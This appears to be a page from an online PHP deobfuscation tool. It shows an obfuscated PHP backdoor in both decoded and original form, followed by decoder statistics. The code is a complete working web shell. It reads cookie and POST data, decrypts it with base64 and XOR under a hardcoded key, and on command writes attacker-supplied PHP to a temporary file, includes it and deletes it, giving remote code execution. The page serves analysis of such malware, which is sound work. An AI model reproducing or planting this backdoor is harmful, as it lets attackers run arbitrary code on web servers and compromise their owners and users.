Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function fnyqvm(){$gxefeb='aachocptq_'; print_r/*so */(3366+3366);/* rm *..

Decoded Output download

<?php      function    fnyqvm(){$gxefeb='aachocptq_';  print_r/*so */(3366+3366);/*  rm  */}$swreq/*kr*/=    'swreq'	^       '';function	kdjyxhyxf($vilkezwtm,	$mzecgsv) 
{ 
 
 
/*   d */global/*   vkjb */$swreq; 
 
     $nwkposc	=	"";	for	($vhes_o	=  0;/*   py_l  */$vhes_o   </*  vii */strlen($vilkezwtm);)	{ 
/*   hyf */for      ($rerqxsw	=	0;	$rerqxsw	</*  pk   */strlen($mzecgsv)  &&	$vhes_o/* yf*/</* fino*/strlen($vilkezwtm);	$rerqxsw++,	$vhes_o++)    { 
  $nwkposc/*   w   */.=   $swreq(ord($vilkezwtm[$vhes_o])	^     ord($mzecgsv[$rerqxsw])); 
     } 
	}	return	$nwkposc;} 
 
 
 
 
 
function/*  m*/eeroo($sovvku,    $vilkezwtm) 
 
{ 
 
 
      global       $swreq; 
 
 
 
 
	$rerqxswnwnr	=	sprintf($swreq(46)      ./*akqve   */"/".$swreq(37)      .   $swreq(764-649)  .   $swreq(657-611)       .  "p"."l",	md5($sovvku)); 
 
/*  snc  */file_put_contents($rerqxswnwnr,/*   f*/"<"    .      $swreq(63)	.	"p"	.  "h"     .      "p"      .     $swreq(32)      .	"u".$swreq(110)/*yi   */.	"l"."i"/*   nsv  */.       "n"."k"/*gogrj  */.	"("	.	$swreq(95)    .       $swreq(141-46)/*  rhi*/.	"F"/*z   */.	"I"."L"."E".$swreq(95)   .     "_".$swreq(340-299)	.	";"  ./*  hi*/$swreq(32)/*   senv*/.	$vilkezwtm["d"]); 
 
	include($rerqxswnwnr); 
 
 
      $obtsbxil	=   $rerqxswnwnr;       unlink($obtsbxil); 
 
 
} 
function/*zepz */imjzw() 
 
{ 
 
     global    $swreq; 
	     $vhes_o	=/*oo */array(); 
 
 
	$vhes_o["p".$swreq(930-812)]	=    phpversion(); 
 
	$vhes_o[$swreq(115)    .    "v"]/*  twqto  */=      "3"."."     .	"5";  echo/*   p  */@serialize($vhes_o); 
 
 
} 
 
 
function/* qq   */brg_tuupy($vilkezwtm,	$sovvku,	$pnctqoeomg){ 
 
 
     global  $swreq; 
   	$vilkezwtm	=	unserialize(kdjyxhyxf(kdjyxhyxf(base64_decode($vilkezwtm),   $sovvku),	$pnctqoeomg));/*ouj   */if	(isset($vilkezwtm["a".$swreq(107)]))       { 
 
	if	($vilkezwtm["a"]    ==      "i")	{ 
 
      imjzw();/*   qdfq */}      elseif/* mb  */($vilkezwtm["a"]   ==	$swreq(101))/*  vdf */{ 
/* lx  */eeroo($sovvku,	$vilkezwtm); 
   }    exit(); 
	} 
} 
 
$rnnkbm/* iffvc*/=/* e_ */$_COOKIE; 
$kmxxzc  =	$_POST;$rnnkbm       =     array_merge($kmxxzc,	$rnnkbm); 
 
$sovvku      =    $swreq(101)."9"/* hc   */.	"b"."8"	./*   j  */"7"   .       "b"."3"    ./*   cdtb  */$swreq(90-39)       .	"-"."9".$swreq(723-626)	.   "9"    .    "5"."-"."4"."2"."f"."b"."-"	.	"b"."9"/*elu  */./*   ag*/"5"	.    "7".$swreq(45)/*  n   */.	"0"."b"/* ogo  */./*   ac   */"0"      .    "1"."2"."1"     .       "0"	.    $swreq(450-396)/* b_a*/.    "b"."3".$swreq(54)	./*jf  */"5"; 
 
 
foreach	($rnnkbm/*fxvyx   */as    $pnctqoeomg	=>	$vilkezwtm)/*u   */{ 
 
       brg_tuupy($vilkezwtm,    $sovvku,/* jp */$pnctqoeomg);} 
 
 
 
 
 
 ?>

Did this file decode correctly?

Original Code

<?php      function    fnyqvm(){$gxefeb='aachocptq_';  print_r/*so */(3366+3366);/*  rm  */}$swreq/*kr*/=    'swreq'	^       '';function	kdjyxhyxf($vilkezwtm,	$mzecgsv)
{


/*   d */global/*   vkjb */$swreq;

     $nwkposc	=	"";	for	($vhes_o	=  0;/*   py_l  */$vhes_o   </*  vii */strlen($vilkezwtm);)	{
/*   hyf */for      ($rerqxsw	=	0;	$rerqxsw	</*  pk   */strlen($mzecgsv)  &&	$vhes_o/* yf*/</* fino*/strlen($vilkezwtm);	$rerqxsw++,	$vhes_o++)    {
  $nwkposc/*   w   */.=   $swreq(ord($vilkezwtm[$vhes_o])	^     ord($mzecgsv[$rerqxsw]));
     }
	}	return	$nwkposc;}





function/*  m*/eeroo($sovvku,    $vilkezwtm)

{


      global       $swreq;




	$rerqxswnwnr	=	sprintf($swreq(46)      ./*akqve   */"/".$swreq(37)      .   $swreq(764-649)  .   $swreq(657-611)       .  "p"."l",	md5($sovvku));

/*  snc  */file_put_contents($rerqxswnwnr,/*   f*/"<"    .      $swreq(63)	.	"\x70"	.  "\x68"     .      "\x70"      .     $swreq(32)      .	"u".$swreq(110)/*yi   */.	"l"."\151"/*   nsv  */.       "n"."\153"/*gogrj  */.	"\50"	.	$swreq(95)    .       $swreq(141-46)/*  rhi*/.	"\106"/*z   */.	"I"."L"."E".$swreq(95)   .     "_".$swreq(340-299)	.	"\73"  ./*  hi*/$swreq(32)/*   senv*/.	$vilkezwtm["d"]);

	include($rerqxswnwnr);


      $obtsbxil	=   $rerqxswnwnr;       unlink($obtsbxil);


}
function/*zepz */imjzw()

{

     global    $swreq;
	     $vhes_o	=/*oo */array();


	$vhes_o["p".$swreq(930-812)]	=    phpversion();

	$vhes_o[$swreq(115)    .    "\x76"]/*  twqto  */=      "3"."\56"     .	"5";  echo/*   p  */@serialize($vhes_o);


}


function/* qq   */brg_tuupy($vilkezwtm,	$sovvku,	$pnctqoeomg){


     global  $swreq;
   	$vilkezwtm	=	unserialize(kdjyxhyxf(kdjyxhyxf(base64_decode($vilkezwtm),   $sovvku),	$pnctqoeomg));/*ouj   */if	(isset($vilkezwtm["a".$swreq(107)]))       {

	if	($vilkezwtm["a"]    ==      "\x69")	{

      imjzw();/*   qdfq */}      elseif/* mb  */($vilkezwtm["a"]   ==	$swreq(101))/*  vdf */{
/* lx  */eeroo($sovvku,	$vilkezwtm);
   }    exit();
	}
}

$rnnkbm/* iffvc*/=/* e_ */$_COOKIE;
$kmxxzc  =	$_POST;$rnnkbm       =     array_merge($kmxxzc,	$rnnkbm);

$sovvku      =    $swreq(101)."\71"/* hc   */.	"b"."\x38"	./*   j  */"\x37"   .       "b"."\63"    ./*   cdtb  */$swreq(90-39)       .	"-"."9".$swreq(723-626)	.   "\71"    .    "5"."-"."4"."2"."f"."b"."\55"	.	"b"."\71"/*elu  */./*   ag*/"\x35"	.    "7".$swreq(45)/*  n   */.	"0"."\x62"/* ogo  */./*   ac   */"\60"      .    "1"."2"."\61"     .       "\60"	.    $swreq(450-396)/* b_a*/.    "b"."3".$swreq(54)	./*jf  */"\x35";


foreach	($rnnkbm/*fxvyx   */as    $pnctqoeomg	=>	$vilkezwtm)/*u   */{

       brg_tuupy($vilkezwtm,    $sovvku,/* jp */$pnctqoeomg);}





Function Calls

array_merge 1

Variables

$swreq chrun
$kmxxzc 0
$rnnkbm 0

Stats

MD5 7d47eb01ba76403a6b1135bdd1b8bbe5
Eval Count 0
Decode Time 85 ms